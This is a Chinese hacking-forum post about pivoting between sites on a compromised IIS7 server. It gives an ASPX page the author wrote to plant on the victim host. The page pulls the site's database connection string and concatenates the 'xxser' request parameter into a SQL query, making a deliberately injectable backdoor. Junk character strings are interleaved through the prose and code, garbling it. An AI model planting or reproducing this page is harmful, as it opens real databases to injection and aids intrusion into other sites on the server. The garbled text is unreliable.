利用aspx构造注射来跨站

admin

昨天跟4z1看一个站点，提权很难提，看了整整5个小时，无果。 2008+iis7，无sa，无root，无各种服务。。。
$ c# X! C3 O3 C6 V其实中用到了aspx构造注射来跨站，网上找了一堆代码，没一个能用的。
代码量不多，自己写个拉倒了。烦死了。
/ K, z0 g# q- j" ^3 s; h5 [
3 b) {1 o3 p6 z( r; s0 z/ R9 u​
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
    <title>暗影aspx构造注射专用页面</title>
3 e" Z7 |! I4 ]- Z</head>
<body>
    <form id="form1" runat="server">
' w- \$ t) Z2 a2 P- K1 Q5 ]2 R1 |    <div>
9 `9 b+ _+ L3 V) B, n( m0 K     <script language="c#" runat="server">
. Q% z! e$ `6 `3 s7 _5 P* B            
         void page_init(object sender, EventArgs e)
1 f; c' f, @0 m5 ~         {
            
             System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection();
            
             conn.ConnectionString = ConfigurationManager.ConnectionStrings["连接名"].ToString();
             conn.Open();
            
             string i =  this.Page.Request.Params["xxser"];  //这里是参数?xxser=1
            
/ K5 [5 _' G& ~4 p6 V8 ~, ~             System.Data.SqlClient.SqlCommand command = new System.Data.SqlClient.SqlCommand("select * from [表] where 列名= " + i, conn);
             int x = command.ExecuteNonQuery();
             Response.Write(i+"\n");
             Response.Write(x);
* l& c# T% ]2 H/ A* H             conn.Close();
         }
     
  </script>
    </div>
    </form>
2 }# N) i" p7 J5 Z% g# i</body>
</html>
  U! u/ \6 @  S